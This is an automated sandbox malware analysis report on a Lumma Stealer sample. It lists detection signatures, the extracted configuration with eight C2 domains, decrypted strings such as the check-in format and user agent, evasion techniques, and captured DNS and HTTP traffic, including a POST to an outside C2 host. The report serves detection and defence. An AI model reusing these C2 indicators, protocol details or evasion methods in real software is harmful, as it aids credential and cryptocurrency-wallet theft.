Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1527499
MD5:	f8fbe058f717084976eeef1adb9c4365
SHA1:	9ca9c8a2fe61159979603278f13af52dfc3e4529
SHA256:	2006bc43cf9cb9d0cdda5d67fe480b446e2095d58427c07970fe5f1bd77a15f8
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3652 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F8FBE058F717084976EEEF1ADB9C4365)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["studennotediw.stor", "mobbipenju.stor", "licendfilteo.site", "eaglepawnoy.stor", "spirittunek.stor", "bathdoomgaz.stor", "dissapoiznw.stor", "clearancek.site"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:14.074979+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:14.074979+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.706267+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	55247	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.642685+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	49923	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.676185+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	54114	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.666768+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	65254	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.735416+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	49275	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.655851+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	57572	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.716880+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	62325	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T01:02:11.689146+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	49647	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: file.exe.3652.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["studennotediw.stor", "mobbipenju.stor", "licendfilteo.site", "eaglepawnoy.stor", "spirittunek.stor", "bathdoomgaz.stor", "dissapoiznw.stor", "clearancek.site"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: licendfilteo.site
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: spirittunek.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bathdoomgaz.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: studennotediw.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dissapoiznw.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: eaglepawnoy.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mobbipenju.stor
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F850FA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F4D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F4D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	0_2_00F863B8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00F899D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	0_2_00F8695B
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00F4FCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00F86094
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00F84040
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then dec ebx	0_2_00F7F030
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00F56F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	0_2_00F41000
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00F6D1E1
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00F542FC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00F62260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [esi], ax	0_2_00F62260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebp, eax	0_2_00F4A300
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	0_2_00F864B8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00F6C470
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F5D457
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_00F81440
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_00F5B410
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00F6E40C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00F56536
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	0_2_00F87520
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F69510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00F6E66A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00F7B650
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00F867EF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00F6D7AF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	0_2_00F87710
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F85700
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00F628E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_00F449A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00F5D961
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	0_2_00F83920
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F51ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00F45A50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00F84A40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F51A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00F53BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00F51BEE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00F70B80
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00F89B60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	0_2_00F5DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	0_2_00F5DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F89CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	0_2_00F89CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	0_2_00F6CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F6CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	0_2_00F6CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F6AC91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edx], ax	0_2_00F6AC91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	0_2_00F6EC48
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	0_2_00F7FC20
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00F67C00
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F88D8A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00F6DD29
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	0_2_00F6FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00F50EEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	0_2_00F4BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	0_2_00F56EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_00F46EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00F51E93
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F65E70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F67E60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	0_2_00F6AE57
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edi, ecx	0_2_00F54E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00F48FD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edx], 0000h	0_2_00F5FFDF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00F85FD6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	0_2_00F87FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F87FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00F56F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F7FF70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00F69F62

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:62325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:49923 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:54114 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:49275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:55247 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:65254 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:57572 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:49647 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: studennotediw.stor
Source: Malware configuration extractor	URLs: mobbipenju.stor
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: eaglepawnoy.stor
Source: Malware configuration extractor	URLs: spirittunek.stor
Source: Malware configuration extractor	URLs: bathdoomgaz.stor
Source: Malware configuration extractor	URLs: dissapoiznw.stor
Source: Malware configuration extractor	URLs: clearancek.site

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 172.67.206.204 172.67.206.204

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=25bde43012e7e41a709b9569; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34837Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSun, 06 Oct 2024 23:02:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
